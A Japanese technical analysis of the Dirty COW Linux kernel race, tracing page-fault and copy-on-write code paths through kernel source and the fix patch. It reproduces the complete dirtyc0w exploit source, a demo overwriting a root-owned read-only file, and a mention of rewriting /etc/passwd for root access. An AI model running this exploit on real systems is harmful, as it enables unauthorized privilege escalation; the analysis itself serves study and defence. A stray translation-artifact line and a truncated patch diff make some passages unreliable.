
void *map; int f; struct stat st; char *name;
void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }
void *procselfmemThread(void *arg) { char str; str = (char)arg;
int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }
int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
(空输入,无翻译内容)```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000
procselfmem -2094967296
madvise 0
$ cat flag.txt
aaaaaa
比較的よくある悪用方法は、権限昇格のために/etc/passwdを権限外で書き換えて root ユーザーを変更したり、ユーザー権限を変更したりすることです
まずは exp が何をしているのか見てみましょう```c int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content"); return 1; }
pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
- まず pthread を呼び出して2つのスレッドを作成する
- 次に`fopen`で読み取り専用のターゲットファイル`argv[1]`を開く
- ファイルを`mmap`でメモリにマッピングする(アドレスはランダム)。`MAP_PRIVATE`は Task プライベートなメモリマッピングを確立するためのもので、別の Task がこのメモリに書き込もうとした場合、そのプロセスは書き込み前にまずコピーを作成してから書き込む。これにより、子プロセスやスレッドを生成する際にメモリ空間全体をコピーするための多大な時間や領域を費やさずに、Task 間の同時メモリ操作が互いに影響しないことを保証する。これが CopyOnWrite である
- その後2つのスレッドを起動し、1つは`madviseThread`を実行し、もう1つは`procselfmemThread`を実行する
次に、2つのスレッドの実行本体を見てみる
- 一方のスレッドはファイルマッピングに対して`madvise`を呼び出し、マッピングされたメモリまたは共有メモリの使用状況をカーネルに伝える。`MADV_DONTNEED`は、このメモリ領域を今後使用しないことを示し、カーネルはそれを解放できる
- もう一方のスレッドは読み書き権限で`/proc/self/mem`を開く。このファイルはプロセス自身の仮想メモリのファイルマッピングであり、ファイルにターゲット情報を書き込もうと繰り返し試みる```c
void *madviseThread(void *arg) {
char *str;
str = (char*)arg;
int i, c = 0;
for(i = 0; i < 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
void *procselfmemThread(void *arg) {
char *str;
str = (char*)arg;
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 100000000; i++) {
lseek(f, (uintptr_t)map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n\n", c);
}
最終的に、2つのスレッドによる連続的な攻撃によりカーネルに競合脆弱性が発生し、procselfmemThreadが読み取り専用ファイルへの書き込みに成功した
mmapはvma上にメモリマッピングを確立するだけであり、マッピングしたファイルを実際に物理ページフレームに配置するわけではない。そのため、初めてwriteを試みると必ずページフォールト例外が発生する。writeから分析を始める。ファイルに対するすべての操作は、そのファイルが存在するファイルシステムがVFSに登録している仮想テーブルfile_operationsを経由する。そして/proc上のファイルはprocfsによって実装されている。proc_mem_operationsを見つけると、writeがmem_writeにバインドされていることがわかる。```c
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};
`mem_write`は`mem_rw`のラッパー(`write`フラグを1に設定)であり、`mem_rw`の主な流れは以下の通りです。
- 最初に`__get_free_page`で一時的な空きページをバッファとして確保する
- 書き込み操作の場合、`copy_from_user`を呼び出して書き込むデータを一時ページにコピーする
- 次に`access_remote_vm`で対象データを空きページに読み込む(読み取り)か、バッファの内容を対象アドレスに書き込む(書き込み)
- ここで言うremoteとは、自プロセスが他のプロセスのメモリマップドファイルを読み書きする可能性があるためであり、つまりプロセスが他のプロセスのアドレス空間にアクセスする可能性があることを意味する。この点は他のmemory filesystemとは異なる
- 読み取り操作の場合、前の手順で空きページに読み込んだデータをユーザーのバッファに書き戻す```c
static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)
{
struct mm_struct *mm = file->private_data;
unsigned long addr = *ppos;
ssize_t copied;
char *page;
if (!mm)
return 0;
page = (char *)__get_free_page(GFP_TEMPORARY); // 申请临时空闲页面
if (!page)
return -ENOMEM;
copied = 0;
if (!atomic_inc_not_zero(&mm->mm_users))
goto free;
while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE); // 本次读取/写入数据长度,单次最大为PAGE_SIZE
if (write && copy_from_user(page, buf, this_len)) { // 若是写操作,从用户空间拷贝待写数据到临时空闲页面
copied = -EFAULT;
break;
}
this_len = access_remote_vm(mm, addr, page, this_len, write); // 读取/写入数据到临时空闲页面
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}
if (!write && copy_to_user(buf, page, this_len)) { // 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
copied = -EFAULT;
break;
}
buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
}
*ppos = addr;
mmput(mm);
free:
free_page((unsigned long) page); // 释放临时空闲页面
return copied;
}
access_remote_vmは__access_remote_vmのラッパーであり、主なフローは以下の通りです。
get_user_pagesによってアドレスaddrが属するpage structを取得する
取得が成功した場合、kmapを呼び出してpageをカーネルのhigh memoryにマッピングする(pageが指すのは物理ページ)
メモリアクセスが書き込み操作の場合はデータを書き込んでダーティフラグをセットし、読み取り操作の場合はデータを読み込むだけである```c static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm, unsigned long addr, void *buf, int len, int write) { struct vm_area_struct *vma; void *old_buf = buf;
down_read(&mm->mmap_sem); /* ignore errors, just check how much was successfully transferred */ while (len) { int bytes, ret, offset; void *maddr; struct page *page = NULL;
ret = get_user_pages(tsk, mm, addr, 1, // 获取addr对应的page
write, 1, &page, &vma);
if (ret <= 0) { // 获取失败
#ifndef CONFIG_HAVE_IOREMAP_PROT break; #else /* * Check if this is a VM_IO | VM_PFNMAP VMA, which * we can access using slightly different code. */ vma = find_vma(mm, addr); if (!vma || vma->vm_start > addr) break; if (vma->vm_ops && vma->vm_ops->access) ret = vma->vm_ops->access(vma, addr, buf, len, write); if (ret <= 0) break; bytes = ret; #endif } else { // 获取成功 bytes = len; offset = addr & (PAGE_SIZE-1); if (bytes > PAGE_SIZE-offset) bytes = PAGE_SIZE-offset;
maddr = kmap(page); // 映射page到内核空间,因为我们获取的是page结构体,需要映射到一个虚拟地址之后才能进行写入
if (write) { // 如果是写操作
copy_to_user_page(vma, page, addr, // 将buf的数据拷贝到page中,完成写入
maddr + offset, buf, bytes);
set_page_dirty_lock(page); // 设置页面为脏页
} else { // 如果是读操作
copy_from_user_page(vma, page, addr,
buf, maddr + offset, bytes);
}
kunmap(page);
page_cache_release(page);
}
len -= bytes;
buf += bytes;
addr += bytes;
}
up_read(&mm->mmap_sem);
return buf - old_buf;
}
##### __get_user_pages
以上で procfs の読み書き操作の概要を説明しました。次に `get_user_pages` から始めます。
`get_user_pages` は `__get_user_pages_locked` のラッパーであり、後者は実際のロジック本体である `__get_user_pages` を呼び出します。その流れは以下の通りです:
- まず、操作対象のページを走査し、いくつかの事前準備を行います。これには各ページの権限ビットマップ `foll_flags` の設定が含まれます。
- 初回の反復であるか、開始アドレスが現在の vma ベースアドレスより大きい場合、`find_extend_vma` で開始アドレスが属する vma を取得します。
- プロセスが致命的なシグナルを受信しておらず、かつブロックされていない場合、`follow_page_mask` で仮想アドレスに対応する物理ページの `page struct` を取得します。
- 通常、ページはメモリ内に存在しないため、初回のページアクセスはページフォールトを引き起こします。
- また、そのページに対する操作権限がない場合も、同様に例外が発生します。
- さらに、OOM、ハードウェア障害など他の原因もありますが、ここでは考慮しません。
- 取得に成功せず、かつ障害ではない場合(戻り値 0)、`faultin_page` を呼び出してページフォールト例外を処理します。処理が正常に完了した後、`follow_page_mask` に戻り、ページの取得を再試行します。```c
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking)
{
long i = 0;
unsigned int page_mask;
struct vm_area_struct *vma = NULL;
if (!nr_pages)
return 0;
VM_BUG_ON(!!pages != !!(gup_flags & FOLL_GET));
/*
* If FOLL_FORCE is set then do not force a full fault as the hinting
* fault information is unrelated to the reference behaviour of a task
* using the address space
*/
if (!(gup_flags & FOLL_FORCE))
gup_flags |= FOLL_NUMA;
do {
struct page *page;
unsigned int foll_flags = gup_flags;
unsigned int page_increm;
/* first iteration or cross vma bound */
if (!vma || start >= vma->vm_end) { // 若vma为空(第一次迭代)或者start超出vma的范围
vma = find_extend_vma(mm, start); // 查找start所在的vma
if (!vma && in_gate_area(mm, start)) {
int ret;
ret = get_gate_page(mm, start & PAGE_MASK,
gup_flags, &vma,
pages ? &pages[i] : NULL);
if (ret)
return i ? : ret;
page_mask = 0;
goto next_page;
}
if (!vma || check_vma_flags(vma, gup_flags))
return i ? : -EFAULT;
if (is_vm_hugetlb_page(vma)) {
i = follow_hugetlb_page(mm, vma, pages, vmas,
&start, &nr_pages, i,
gup_flags);
continue;
}
}
retry:
/*
* If we have a pending SIGKILL, don't keep faulting pages and
* potentially allocating memory.
*/
if (unlikely(fatal_signal_pending(current)))
return i ? i : -ERESTARTSYS;
cond_resched();
page = follow_page_mask(vma, start, foll_flags, &page_mask); // 获取虚拟地址对应的物理页的page struct
if (!page) { // 获取失败,可能是没有对应页,也可能是没有相应操作权限
int ret;
ret = faultin_page(tsk, vma, start, &foll_flags, // 处理缺页异常,COW机制建映射得到一个新的可写的anon page
nonblocking); // 若没有写权限其会取消掉foll_flags中的写标志并返回0
switch (ret) {
case 0: // 缺页异常处理成功,重新尝试获取page
goto retry;
case -EFAULT:
case -ENOMEM:
case -EHWPOISON:
return i ? i : ret;
case -EBUSY:
return i;
case -ENOENT:
goto next_page;
}
BUG();
} else if (PTR_ERR(page) == -EEXIST) {
/*
* Proper page table entry exists, but no corresponding
* struct page.
*/
goto next_page;
} else if (IS_ERR(page)) {
return i ? i : PTR_ERR(page);
}
if (pages) {
pages[i] = page;
flush_anon_page(vma, page, start);
flush_dcache_page(page);
page_mask = 0;
}
next_page:
if (vmas) {
vmas[i] = vma;
page_mask = 0;
}
page_increm = 1 + (~(start >> PAGE_SHIFT) & page_mask);
if (page_increm > nr_pages)
page_increm = nr_pages;
i += page_increm;
start += page_increm * PAGE_SIZE;
nr_pages -= page_increm;
} while (nr_pages); // 直到所有的页都处理完毕
return i;
}
EXPORT_SYMBOL(__get_user_pages);
follow_page_maskは段階的にアドレスを解析して該当するpteを取得し、その後follow_page_pteを呼び出してpage structの取得を試みます。ロジックは比較的単純で、一連のチェックを通過するとpage structを返します。また、アドレスマッピングが見つからない場合や書き込み権限がない場合にはNULLを返すことがわかります。```c
static struct page *follow_page_pte(struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd, unsigned int flags)
{
struct mm_struct *mm = vma->vm_mm;
struct page *page;
spinlock_t *ptl;
pte_t *ptep, pte;
retry: if (unlikely(pmd_bad(*pmd))) return no_page_table(vma, flags);
ptep = pte_offset_map_lock(mm, pmd, address, &ptl);
pte = *ptep;
if (!pte_present(pte)) {
swp_entry_t entry;
/*
* KSM's break_ksm() relies upon recognizing a ksm page
* even while it is being migrated, so for that case we
* need migration_entry_wait().
*/
if (likely(!(flags & FOLL_MIGRATION)))
goto no_page;
if (pte_none(pte))
goto no_page;
entry = pte_to_swp_entry(pte);
if (!is_migration_entry(entry))
goto no_page;
pte_unmap_unlock(ptep, ptl);
migration_entry_wait(mm, pmd, address);
goto retry;
}
if ((flags & FOLL_NUMA) && pte_protnone(pte))
goto no_page;
if ((flags & FOLL_WRITE) && !pte_write(pte)) { // 欲执行写操作,但是没有写权限
pte_unmap_unlock(ptep, ptl);
return NULL;
}
page = vm_normal_page(vma, address, pte); // 获取page struct
if (unlikely(!page)) {
if (flags & FOLL_DUMP) {
/* Avoid special (like zero) pages in core dumps */
page = ERR_PTR(-EFAULT);
goto out;
}
if (is_zero_pfn(pte_pfn(pte))) {
page = pte_page(pte);
} else {
int ret;
ret = follow_pfn_pte(vma, address, ptep, flags);
page = ERR_PTR(ret);
goto out;
}
}
if (flags & FOLL_GET)
get_page_foll(page);
if (flags & FOLL_TOUCH) {
if ((flags & FOLL_WRITE) &&
!pte_dirty(pte) && !PageDirty(page))
set_page_dirty(page);
/*
* pte_mkyoung() would be more correct here, but atomic care
* is needed to avoid losing the dirty bit: it is easier to use
* mark_page_accessed().
*/
mark_page_accessed(page);
}
if ((flags & FOLL_MLOCK) && (vma->vm_flags & VM_LOCKED)) {
/*
* The preliminary mapping check is mainly to avoid the
* pointless overhead of lock_page on the ZERO_PAGE
* which might bounce very badly if there is contention.
*
* If the page is already locked, we don't need to
* handle it now - vmscan will handle it later if and
* when it attempts to reclaim the page.
*/
if (page->mapping && trylock_page(page)) {
lru_add_drain(); /* push cached pages to LRU */
/*
* Because we lock page here, and migration is
* blocked by the pte's page reference, and we
* know the page is still mapped, we don't even
* need to check for file-cache page truncation.
*/
mlock_vma_page(page);
unlock_page(page);
}
}
out: pte_unmap_unlock(ptep, ptl); return page; no_page: pte_unmap_unlock(ptep, ptl); if (!pte_none(pte)) return NULL; return no_page_table(vma, flags); }
##### faultin_page
`faultin_page`も同様に、フラグを設定した後、`handle_mm_fault`を呼び出して正式にページフォールト例外処理フローに入ります。これについては後で詳しく説明します```c
static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
unsigned long address, unsigned int *flags, int *nonblocking)
{
struct mm_struct *mm = vma->vm_mm;
unsigned int fault_flags = 0;
int ret;
/* mlock all present pages, but do not fault in new pages */
if ((*flags & (FOLL_POPULATE | FOLL_MLOCK)) == FOLL_MLOCK)
return -ENOENT;
/* For mm_populate(), just skip the stack guard page. */
if ((*flags & FOLL_POPULATE) &&
(stack_guard_page_start(vma, address) ||
stack_guard_page_end(vma, address + PAGE_SIZE)))
return -ENOENT;
if (*flags & FOLL_WRITE) // 欲执行写操作
fault_flags |= FAULT_FLAG_WRITE;
if (nonblocking)
fault_flags |= FAULT_FLAG_ALLOW_RETRY;
if (*flags & FOLL_NOWAIT)
fault_flags |= FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_RETRY_NOWAIT;
if (*flags & FOLL_TRIED) {
VM_WARN_ON_ONCE(fault_flags & FAULT_FLAG_ALLOW_RETRY);
fault_flags |= FAULT_FLAG_TRIED;
}
ret = handle_mm_fault(mm, vma, address, fault_flags); // 处理缺页异常
if (ret & VM_FAULT_ERROR) {
if (ret & VM_FAULT_OOM)
return -ENOMEM;
if (ret & (VM_FAULT_HWPOISON | VM_FAULT_HWPOISON_LARGE))
return *flags & FOLL_HWPOISON ? -EHWPOISON : -EFAULT;
if (ret & (VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV))
return -EFAULT;
BUG();
}
if (tsk) {
if (ret & VM_FAULT_MAJOR)
tsk->maj_flt++;
else
tsk->min_flt++;
}
if (ret & VM_FAULT_RETRY) {
if (nonblocking)
*nonblocking = 0;
return -EBUSY;
}
/*
* The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
* necessary, even if maybe_mkwrite decided not to set pte_write. We
* can thus safely do subsequent page lookups as if they were reads.
* But only do so when looping for pte_write is futile: in some cases
* userspace may also be wanting to write to the gotten user page,
* which a read fault here might prevent (a readonly page might get
* reCOWed by userspace write).
*/
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) // 若vma不可写,但是缺页异常处理成功,且需要写操作
*flags &= ~FOLL_WRITE; // 清除写操作标志,否则会在__get_user_pages中返回不断retry
return 0;
}
__get_user_pagesにおけるretryラベルで示される再試行メカニズムは、メモリアクセス時のページフォールト例外の大まかな処理フローです。この記事のシナリオを例として、ここでの操作はアトミックではないことに注意してください。
mmapでファイルをマッピングしたアドレスにアクセスします。mmapはページをメモリに読み込まないため、follow_page_maskがページの取得に失敗し、1回目のページフォールト例外が発生します。faultin_pageがページをメモリに読み込み、マッピングを確立して、戻り後にretryします。follow_page_maskが2回目のページ取得を試みます。この取得操作にはページへの書き込みが含まれていますが、対象ページは読み取り専用のため取得に失敗し、2回目のページフォールト例外が発生します。faultin_pageがCOWメカニズムに従い、匿名ページのコピーを作成し、マッピングを再構築します。また、無限のretryを避けるためにFOLL_WRITEフラグをクリアし、最後にretryで戻ります。follow_page_maskが3回目のページ取得を試みます。今回は書き込みフラグが削除されているため、読み取り専用の権限でCOWコピーされた匿名ページを正常に取得でき、例外は発生しません。kmapに戻り、プロセスが書き込みを完了します(ただし、変更はファイルに同期されません)。ここまで来ると、脆弱性のポイントはかなり明確です。3回のページフォールト処理におけるretry部分は本来アトミックであるべきで、少なくともpteにロックをかけるべきですが、実際には何らかの理由で保護が行われておらず、この実行フローが簡単に破壊されてしまいます。DirtyCOWは、上記のフローを実行すると同時に、madviceを繰り返し呼び出して、カーネルにpteをクリアさせて対象ページのマッピングを解除させようとします。その結果、以下のような実行フローになります。
mmapでファイルをマッピングしたアドレスにアクセスします。mmapはページをメモリに読み込まないため、follow_page_maskがページの取得に失敗し、1回目のページフォールト例外が発生します。faultin_pageがページをメモリに読み込み、マッピングを確立して、戻り後にretryします。follow_page_maskが2回目のページ取得を試みます。この取得操作にはページへの書き込みが含まれていますが、対象ページは読み取り専用のため取得に失敗し、2回目のページフォールト例外が発生します。faultin_pageがCOWメカニズムに従い、匿名ページのコピーを作成し、マッピングを再構築します。また、無限のretryを避けるためにFOLL_WRITEフラグをクリアし、最後にretryで戻ります。madviceの提案に従い、仮想アドレスが存在するpteをクリアして仮想アドレスマッピングを解除します(同一プロセス内のスレッド間で同一のページテーブルを共有しています)。follow_page_maskが3回目のページ取得を試みます。今回は書き込みフラグが削除されているため、読み取り専用の権限で取得を試みますが、同時にページのマッピングが解除されているため、再びページフォールト例外が発生します。faultin_pageは正常な場合のようにCOWで匿名ページのコピーを作成するのではなく、対象ページをメモリに読み込んでマッピングを確立し、retryで戻ります。follow_page_maskが4回目のページ取得を試みます。今回は対象ページを正常に取得でき、例外は発生しません。残る疑問点として、仮にページを取得できたとしても、元のvmaは読み取り専用のままであり、結局書き込みを完了できません。この問題の解決の鍵は、kmapがメモリをカーネル内のhigh memoryにマッピングする点にあるようです。ユーザーモードのvmaがマッピングするpteが読み取り専用であっても、カーネルモードのhigh memoryがマッピングするpteには書き込み権限があり、それを使って権限昇格の書き込みを完了できます。これはmem_write固有の特性でもあります。
最後にLinusのパッチを見てみましょう。おそらくパフォーマンス上の理由から、脆弱性ポイントにロックをかけるのではなく、COWを特別に処理するためのFOLL_COWフラグを新たに設定しています。
typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr, void *data); diff --git a/mm/gup.c b/mm/gup.c index 96b2b2fd0fbd13..22cc22e7432f60 100644 --- a/mm/gup.c +++ b/mm/gup.c @@ -60,6 +60,16 @@ static int follow_pfn_pte(struct vm_area_struct *vma, unsigned long address, return -EEXIST; }
+/*
((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
+} + static struct page *follow_page_pte(struct vm_area_struct *vma, unsigned long address, pmd_t *pmd, unsigned int flags) { @@ -95,7 +105,7 @@ retry: } if ((flags & FOLL_NUMA) && pte_protnone(pte)) goto no_page;
*flags &= ~FOLL_WRITE;
*flags |= FOLL_COW;
#### Dive into Page Fault
##### handle_mm_fault
以前、私たちは`faultin_page`で止まっていましたが、今度は`handle_mm_fault`からさらに深く掘り下げます。```c
int handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, unsigned int flags)
{
int ret;
__set_current_state(TASK_RUNNING); // 在处理完缺页异常后进程需要继续运行,保持TASK_RUNNING状态
count_vm_event(PGFAULT);
mem_cgroup_count_vm_event(mm, PGFAULT);
/* do counter updates before entering really critical section. */
check_sync_rss_stat(current);
/*
* Enable the memcg OOM handling for faults triggered in user
* space. Kernel faults are handled more gracefully.
*/
if (flags & FAULT_FLAG_USER)
mem_cgroup_oom_enable(); // 使能内存控制组的OOM处理
ret = __handle_mm_fault(mm, vma, address, flags); // handle的真正入口
if (flags & FAULT_FLAG_USER) { // 如果是用户态的缺页异常
mem_cgroup_oom_disable(); // 禁用内存控制组的OOM处理
/*
* The task may have entered a memcg OOM situation but
* if the allocation error was handled gracefully (no
* VM_FAULT_OOM), there is no need to kill anything.
* Just clean up the OOM state peacefully.
*/
if (task_in_memcg_oom(current) && !(ret & VM_FAULT_OOM)) // 如果进程处于内存控制组的OOM状态,但没有OOM错误
mem_cgroup_oom_synchronize(false); // 清理OOM状态即可
}
return ret;
}
EXPORT_SYMBOL_GPL(handle_mm_fault);
ラップされた__handle_mm_faultを見ると、実際にはターゲットがあるpteを解析し、その後handle_pte_faultを呼び出して処理します。```c
static int __handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, unsigned int flags)
{
pgd_t *pgd; // 页全局目录指针
pud_t *pud; // 页上级目录指针
pmd_t *pmd; // 页中间目录指针
pte_t *pte; // 页表项指针
if (unlikely(is_vm_hugetlb_page(vma))) // hugepage
return hugetlb_fault(mm, vma, address, flags);
pgd = pgd_offset(mm, address); // (mm)->pgd + (address)>>PGDIR_SHIFT
pud = pud_alloc(mm, pgd, address); // 获取pud指针
if (!pud)
return VM_FAULT_OOM; // out of memory
pmd = pmd_alloc(mm, pud, address); // 获取pmd指针
if (!pmd)
return VM_FAULT_OOM;
if (pmd_none(*pmd) && transparent_hugepage_enabled(vma)) { // 透明大页
int ret = create_huge_pmd(mm, vma, address, pmd, flags);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
pmd_t orig_pmd = *pmd;
int ret;
barrier(); // 内存屏障,确保orig_pmd的读取顺序不会被编译器优化,保证读取的是最新的pmd值
if (pmd_trans_huge(orig_pmd)) { // 透明大页
unsigned int dirty = flags & FAULT_FLAG_WRITE;
/*
* If the pmd is splitting, return and retry the
* the fault. Alternative: wait until the split
* is done, and goto retry.
*/
if (pmd_trans_splitting(orig_pmd))
return 0;
if (pmd_protnone(orig_pmd))
return do_huge_pmd_numa_page(mm, vma, address,
orig_pmd, pmd);
if (dirty && !pmd_write(orig_pmd)) {
ret = wp_huge_pmd(mm, vma, address, pmd,
orig_pmd, flags);
if (!(ret & VM_FAULT_FALLBACK))
return ret;
} else {
huge_pmd_set_accessed(mm, vma, address, pmd,
orig_pmd, dirty);
return 0;
}
}
}
/*
* Use __pte_alloc instead of pte_alloc_map, because we can't
* run pte_offset_map on the pmd, if an huge pmd could
* materialize from under us from a different thread.
*/
if (unlikely(pmd_none(*pmd)) &&
unlikely(__pte_alloc(mm, vma, pmd, address)))
return VM_FAULT_OOM;
/*
* If a huge pmd materialized under us just retry later. Use
* pmd_trans_unstable() instead of pmd_trans_huge() to ensure the pmd
* didn't become pmd_trans_huge under us and then back to pmd_none, as
* a result of MADV_DONTNEED running immediately after a huge pmd fault
* in a different thread of this mm, in turn leading to a misleading
* pmd_trans_huge() retval. All we have to ensure is that it is a
* regular pmd that we can walk with pte_offset_map() and we can do that
* through an atomic read in C, which is what pmd_trans_unstable()
* provides.
*/
if (unlikely(pmd_trans_unstable(pmd)))
return 0;
/*
* A regular pmd is established and it can't morph into a huge pmd
* from under us anymore at this point because we hold the mmap_sem
* read mode and khugepaged takes it in write mode. So now it's
* safe to run pte_offset_map().
*/
pte = pte_offset_map(pmd, address); // 获取pte指针,这也是这个wrap的最终的目标
return handle_pte_fault(mm, vma, address, pte, pmd, flags); // 进入page fault处理
}
##### handle_pte_fault
`handle_pte_fault`の流れは以下の通り。キー関数は`do_fault`と`do_wp_page`です。
- まずpteが空かどうかを判定し、空であればプロセスがそのページに初めてアクセスしたことを示す
- 匿名ページにアクセスした場合は`do_anonymous_page`を呼び出す
- 非匿名ページにアクセスした場合は`do_fault`を呼び出す
- これらを実行したら直接戻る
- メモリ内にある場合(以前にページにアクセスしたことを示す)、いくつかのチェックを行った後、page faultが書き込み操作によって発生した場合
- 書き込み権限がない場合は`do_wp_page`を呼び出す
- 書き込み権限がある場合はpteにダーティフラグを設定する```c
static int handle_pte_fault(struct mm_struct *mm,
struct vm_area_struct *vma, unsigned long address,
pte_t *pte, pmd_t *pmd, unsigned int flags)
{
pte_t entry;
spinlock_t *ptl; // 页表自旋锁
/*
* some architectures can have larger ptes than wordsize,
* e.g.ppc44x-defconfig has CONFIG_PTE_64BIT=y and CONFIG_32BIT=y,
* so READ_ONCE or ACCESS_ONCE cannot guarantee atomic accesses.
* The code below just needs a consistent view for the ifs and
* we later double check anyway with the ptl lock held. So here
* a barrier will do.
*/
entry = *pte;
barrier();
if (!pte_present(entry)) { // 页表项不在内存中(page fault第一次)
if (pte_none(entry)) { // 页表项为空,进程第一次访问该页面
if (vma_is_anonymous(vma)) // 没有设置vma->vm_ops,即为匿名页面(即不是文件映射)
return do_anonymous_page(mm, vma, address,
pte, pmd, flags);
else
return do_fault(mm, vma, address, pte, pmd, // 若为文件映射页面
flags, entry);
}
return do_swap_page(mm, vma, address, // 页表项不为空,将页面swap进内存
pte, pmd, flags, entry);
}
if (pte_protnone(entry)) // 页表项为保护页
return do_numa_page(mm, vma, address, entry, pte, pmd); // NUMA
ptl = pte_lockptr(mm, pmd); // 页表自旋锁,此时页面已经在内存中
spin_lock(ptl);
if (unlikely(!pte_same(*pte, entry))) // 并发检查
goto unlock;
if (flags & FAULT_FLAG_WRITE) { // page fault是由写操作引发
if (!pte_write(entry)) // 页不可写
return do_wp_page(mm, vma, address, // COW
pte, pmd, ptl, entry);
entry = pte_mkdirty(entry); // 页可写,设置为脏页
}
entry = pte_mkyoung(entry);
if (ptep_set_access_flags(vma, address, pte, entry, flags & FAULT_FLAG_WRITE)) {
update_mmu_cache(vma, address, pte);
} else {
/*
* This is needed only for protection faults but the arch code
* is not yet telling us if this is a protection fault or not.
* This still avoids useless tlb flushes for .text page faults
* with threads.
*/
if (flags & FAULT_FLAG_WRITE)
flush_tlb_fix_spurious_fault(vma, address);
}
unlock:
pte_unmap_unlock(pte, ptl);
return 0;
}
今回は主にCOWに関わるため、do_faultからさらに深掘りします。
まず、ページフォールトが発生した位置がファイルの何ページ目かを特定する(先にページがファイルマッピング由来であることを確認済み)
vma->vmopsにページフォールト処理関数が定義されていることを確認する
読み取り操作の場合は、do_read_faultを呼び出す
書き込み操作の場合は、ページが共有可能かどうかを判断し、共有不可であればそのページはTask専有であり、COWが必要なためdo_cow_faultを呼び出す
書き込み操作で、ページが共有されている場合は、do_shared_faultを呼び出す```c
static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pte_t *page_table, pmd_t *pmd,
unsigned int flags, pte_t orig_pte)
{
pgoff_t pgoff = (((address & PAGE_MASK)
- vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff; // 发生page fault的地址在文件中的页面偏移量
pte_unmap(page_table); /* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */ if (!vma->vm_ops->fault) // 是否有定义处理缺页异常的函数 return VM_FAULT_SIGBUS; if (!(flags & FAULT_FLAG_WRITE)) // 当前内存访问是读操作 return do_read_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); if (!(vma->vm_flags & VM_SHARED)) // 当前内存访问是写操作,且是私有映射MAP_PRIVATE,那么需要COW return do_cow_fault(mm, vma, address, pmd, pgoff, flags, // 创建一个新的页,将数据拷贝到新页中,设置新页的PTE(此时还未真正write) orig_pte); return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); // 当前内存访问是写操作,且是共享映射MAP_SHARED,不需要COW }
##### do_cow_fault
`do_cow_fault`の流れはおおよそ以下の通りです。
- 最初に`alloc_page_vma`を呼び出し、新しい物理ページ`new_page`を割り当てる
- OOMかどうかを確認する
- 次に`__do_fault`がファイルからデータを別のページ`fault_page`に読み込む。これは本質的に`vma->vm_ops`にバインドされた`fault`関数を呼び出す処理である
- `copy_user_highpage`が`fault_page`のデータを`new_page`にコピーする。この関数は実際には`memcpy`のラッパーである
- `do_set_pte`がページにPTEを設定し、属性を書き込み可能、匿名ページとする```c
static int do_cow_fault(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long address, pmd_t *pmd,
pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
{
struct page *fault_page, *new_page;
struct mem_cgroup *memcg;
spinlock_t *ptl;
pte_t *pte;
int ret;
if (unlikely(anon_vma_prepare(vma)))
return VM_FAULT_OOM;
new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address); // 为新页分配物理内存。VMA的表示粒度是4k
if (!new_page)
return VM_FAULT_OOM;
